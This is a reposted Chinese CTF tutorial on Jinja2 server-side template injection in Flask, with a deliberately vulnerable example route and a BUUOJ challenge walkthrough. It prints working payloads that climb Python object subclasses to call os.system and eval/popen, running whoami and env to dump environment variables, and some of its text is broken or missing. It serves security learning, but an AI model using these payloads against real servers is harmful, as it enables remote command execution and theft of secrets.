CTF中SSTI漏洞的简单利用
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
前言
前段时间参加比赛的时候,碰到了一个jinja模版注入的题目,于是想着借这个机会好好总结一下模版注入的知识于是便有了这篇文章。
SSTI注入简介
什么是SSTI注入
SSTI模板注入(Server-Side Template Injection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或getshell的目的,目前CTF常见的SSTI题中,大部分考察的都是python的jinja2模版引擎
造成的原因与利用条件
网站由数据与模版框架处理输出页面,我们的数据在数据库不会改变,但是画面的模板可以转换多样,不同的模版可以给人不同的视觉感受,但是当模版存在可控的参数变量或模板代码内有模板的调试功能,可能会导致ssti模板注入,针对大多数脚本类型均存在该注入。
造成的危害
可造成文件读取,命令执行等
SSTI注入的利用姿势
利用思路概述
1. 随意找一个内置类对象利用__class__拿到该对象所对应的类型
2. 用__bases__或__mro__拿到基类不在这里,我的朋友
' @app.route('/flag/') def flag(): code = request.args.get('id') html = ''' hello, do you have id ? , %s ''' % code return render_template_string(html) if __name__ == '__main__': app.run(host='0.0.0.0' , port='5000')
当访问/flag/时,会从get传递的参数中获取id的值并且拼接进行模板进行渲染
id={{1}}
此时传入的是1,响应返回的也是1,我们把参数换为{{2*2}}看看会有什么变化
id={{2*2}}
此时得到的值为4,证明是执行了2*2,因此可以断定存在模版注入漏洞
id={{config}}
针对我们的命令没有进行过滤,尝试一下xss
id=
首先通过str、dict、tuple或list获取python的基本类:
''.__class__.__base__[].__class__.__base__().__class__.__base__request.__class__.__base__
在模版注入中我们最经常需要用到的是warnings.catch_warning,所以遇到flask模板注入时,只要去寻找warning.catch_warning即可
通常是59
request.__class__.__base__.__subclasses__()[59]
继续找linecache
request.__class__.__base__.__subclasses__()[59].__init__.__globals__.keys()
运行个命令
request.__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
到此为止我们就可以肆意妄为的进行命令执行了
接下来让我们用几个题来进行演示
CTF实战
BUUOJ-[FLask]SSTI
看到题目,没有给任何提示,先用Arjun(https://github.com/s0md3v/Arjun/archive/refs/tags/1.6.zip)进行一波扫描,看我们的可控参数
python3 arjun.py -u http://node4.buuoj.cn:29645/
可以看到我们可以利用的参数是name
直接用{{2*2}}进行测试
返回结果是4证明存在模版注入,按照我们前面说的步骤来
1. 构造基本类
name={{''.__class__.__base__}}
1. 寻找warnings.catch_warning
name={{''.__class__.__base__.__subclasses__()[166]}}
name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__.keys()}}
没有找到我们想要的linecache,但是有builtins,我们可以利用它执行eval或者open
用eval执行个whoami试试
name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('w hoami').read()")}}
成功执行
然后翻找了半天也没找到flag,最后在环境变量中找到的,也是很艰辛了
最终payload:
?name={{"".__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
文章来源:Tide安全团队
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
- 上一篇:某众测黑盒0day挖掘获得奖金上限
- 下一篇:一次黑产链接分析引发的渗透测试